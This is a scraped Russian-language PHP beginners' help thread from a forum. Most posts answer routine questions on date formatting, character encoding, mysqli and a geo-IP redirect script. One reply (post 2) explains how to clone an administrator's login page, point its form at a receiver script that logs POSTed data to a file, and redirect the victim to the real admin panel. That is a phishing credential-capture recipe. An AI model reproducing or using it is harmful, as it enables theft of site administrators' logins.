[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Gr1me

    Gr1me New Member

    Joined:
    17 Jan 2013
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    НЕ качает файлы, а тот что вложен поврежден.
    По подробнее можешь расписать ?
     
  2. Orl4ck

    Orl4ck New Member

    Joined:
    26 Nov 2007
    Messages:
    8
    Likes Received:
    4
    Reputations:
    0
    1. сохраняешь страницу с сайта админа.
    2. приводишь ее внешний вид в порядок если сбился дизайн
    3. правишь адрес куда отправляются данные с формы на свой файл (приемщик пусть назовем)
    4. создаешь файл приемщик (яндекс "сохранить post данные в txt php")
    пример:

    <?php
    if ($_POST['content'])
    {
    $file=fopen('content.txt','w');
    fputs($file,$_POST['content']);
    fclose($file);
    header('Location: http://realsite.com/adminko/');
    };
    }?>
    5. вот и все
     
  3. Stronger

    Stronger Member

    Joined:
    26 Dec 2010
    Messages:
    54
    Likes Received:
    7
    Reputations:
    2
    мне нужен скрипт для обмена сообщения между пользователями,не могу написать никак
     
  4. antras2007

    antras2007 New Member

    Joined:
    4 Jul 2013
    Messages:
    33
    Likes Received:
    0
    Reputations:
    0
    Доброго времени вам суток! Подскажите пожалуйста вот код:
    <?php
    echo date("d:m:Y H:i:m");
    header("Refresh: 1");
    ?>

    по идее должный быть живые часы страница перезапрашивается каждую секунду и соответственно в браузере меняется время каждую секунду. У меня вопрос состоит в том что у меня на странице часы не идут, мне выводится время первого запроса, дальше страница обновляется каждую секунду но время не меняется. В чем может быть проблема?
     
    #21984 antras2007, 21 Dec 2013
    Last edited: 21 Dec 2013
  5. fl47590

    fl47590 Member

    Joined:
    15 Nov 2013
    Messages:
    54
    Likes Received:
    8
    Reputations:
    0
    1. header() до вызова echo (поменяй строчки в скрипте местами, иначе будет "Warning: headers already sent...")
    2. Я, конечно, не уверен в том, что ты хочешь сделать, но если речь идет о часах, то последний модификатор в date должен быть не m, a s:
    PHP:
    echo date("d:m:Y H:i:s");
     
  6. Mykola-bas

    Mykola-bas New Member

    Joined:
    24 Apr 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    date("d:m:Y H:i:m");
    А где тут секундьі? Тока часьі и минутьі.
     
  7. Stronger

    Stronger Member

    Joined:
    26 Dec 2010
    Messages:
    54
    Likes Received:
    7
    Reputations:
    2
    задам ещё вопрос,т.к на мои другие не ответили вообще

    создал файл **.php со скриптом,а почему-то не читаются русские буквы,они выглядят как иероглифы типа:
    как это исправить?
     
  8. ocheretko

    ocheretko Banned

    Joined:
    15 May 2010
    Messages:
    143
    Likes Received:
    51
    Reputations:
    116
    Чтобы отвечали, спрашивайте по существу, и более понятно.
    Ваш текст "Сообщения отправлены!" выводится в кодировке UTF-8, перекодируйте его в windows-1251
     
  9. CE/l/lEP

    CE/l/lEP New Member

    Joined:
    13 Dec 2011
    Messages:
    10
    Likes Received:
    3
    Reputations:
    0
    iconv()
     
  10. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,531
    Likes Received:
    166
    Reputations:
    99
    если у вас отображается результат так, нужно поставить в заголовок кодировку:
    PHP:
    header('Content-Type: text/html; charset=utf-8');
    так же можно в echo прописать
    PHP:
    <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
     
  11. Stronger

    Stronger Member

    Joined:
    26 Dec 2010
    Messages:
    54
    Likes Received:
    7
    Reputations:
    2
    а у меня же html каркас и там же уже прописано
    или нужно ещё php код написать туда?
     
  12. I_I

    I_I Member

    Joined:
    22 Nov 2013
    Messages:
    66
    Likes Received:
    5
    Reputations:
    1
    Создаем файлик .htaccess и прописываем в него AddDefaultCharset UTF-8
     
  13. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,041
    Likes Received:
    933
    Reputations:
    199
    А ты вопросы для начала научись задавать нормально, мы без понятия в чем ты редактировал файл (на какой ос и каким редакторов) и где конкретно не отображается кириллица. Если ты создал файл в линуксе и редактируешь его в винде блокнотом это одна история, если ты создал файл в винде и закинул на хостинг и там при выводе страницы кракозябры это другая история.
     
    _________________________
  14. Stronger

    Stronger Member

    Joined:
    26 Dec 2010
    Messages:
    54
    Likes Received:
    7
    Reputations:
    2
    проблема решена,спасибо GAiN
     
  15. Ak_SayRenS

    Ak_SayRenS New Member

    Joined:
    20 Nov 2011
    Messages:
    35
    Likes Received:
    1
    Reputations:
    0
    MySql_connect

    "Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in..."
    такое предуприждение..
    Когда меняю на MySqli_connect () - выдает ошыбку, что такой функции не существует.. в чем проблема?
    заранее спасибо..
     
  16. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    М.б расширение mysqli не установленно?
    Так вызываешь?
    PHP:
    mysqli_connect
    I_I,
    PHP:
    <div class="sg-nav" style="display: <?php echo $oTopic->getPhotosetCount() == "none" "block";?>;">
     
    #21996 mironich, 24 Dec 2013
    Last edited: 24 Dec 2013
  17. Ak_SayRenS

    Ak_SayRenS New Member

    Joined:
    20 Nov 2011
    Messages:
    35
    Likes Received:
    1
    Reputations:
    0
    Пробовал и так, у меня нотепад + + и он опридиляет функции, выводит их синим цветом, когда пишу MySqli_connect становится черный цвет (то есть, не опредиляе функции)
     
  18. seosimf

    seosimf Member

    Joined:
    3 Mar 2011
    Messages:
    271
    Likes Received:
    44
    Reputations:
    6
    В php имена функций и переменных соответственно - регистрозависимы. MySqli_connect!== mysqli_connect
     
  19. Scofild

    Scofild Member

    Joined:
    26 Jun 2007
    Messages:
    29
    Likes Received:
    43
    Reputations:
    0
    Подскажите, вот есть скрипт редиректа по гео ip

    PHP:
    <?php  
    require_once("data/function_geoip.php"); 

    $url "http://google.ru"// Редирект для всех остальных стран, которых нет в params.txt 

    $arr_par file("params.txt"); 

    $ips $_SERVER['REMOTE_ADDR']; 

    $gis geoip_open("data/GeoIP.dat"GEOIP_STANDARD); 

    $country_code geoip_country_code_by_addr($gis$ips); 

    geoip_close($gis); 

    if(!empty(
    $country_code)){ 

    for(
    $i=0$i<count($arr_par); $i++){ 

    $str trim($arr_par[$i]); 

    $country explode("|"$str); 

    if(
    $country_code == $country[0]){ 
    header("Location: ".$country[1]); die; 



    header("Location: ".$url); die; 

    }else{ 
    header("Location: ".$url); die; 


    ?>
    И для него есть файл params.txt где задаются редиректы для страны

    PHP:
    US|http://domains.com/tpl/us.html 
    RU|http://domains.com/tpl/ru.html 
    Как сделать чтобы была одна схема на несколько стран. Чтобы одной строчкой было, типа

    PHP:
    USRU|http://domains.com/tpl/us.html 
    По разному пробовал писать, не работает
     
    #21999 Scofild, 24 Dec 2013
    Last edited: 24 Dec 2013
  20. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    Scofild,
    Страны нужно будет записать через запятую.. без пробелов между запятыми.
    PHP:
    <?php   

    require_once("data/function_geoip.php");  

    $url "http://google.ru"// Редирект для всех остальных стран, которых нет в params.txt  

    $arr_par file("params.txt"FILE_IGNORE_NEW_LINES);  

    $ips $_SERVER['REMOTE_ADDR'];  

    $gis geoip_open("data/GeoIP.dat"GEOIP_STANDARD);  

    $country_code geoip_country_code_by_addr($gis$ips);  

    geoip_close($gis);  

    if(!empty(
    $country_code)) {  

        foreach (
    $arr_par as $param) {

            list(
    $countrys$location) = explode("|"$param);

            
    $countrys explode(','$countrys);
            if(
    in_array($country_code$countrys)){  
                
    $url $location;
                break;
            }
        }
    }

    header("Location: ".$url);
    ?>
     
    #22000 mironich, 24 Dec 2013
    Last edited: 24 Dec 2013
    1 person likes this.
Thread Status:
Not open for further replies.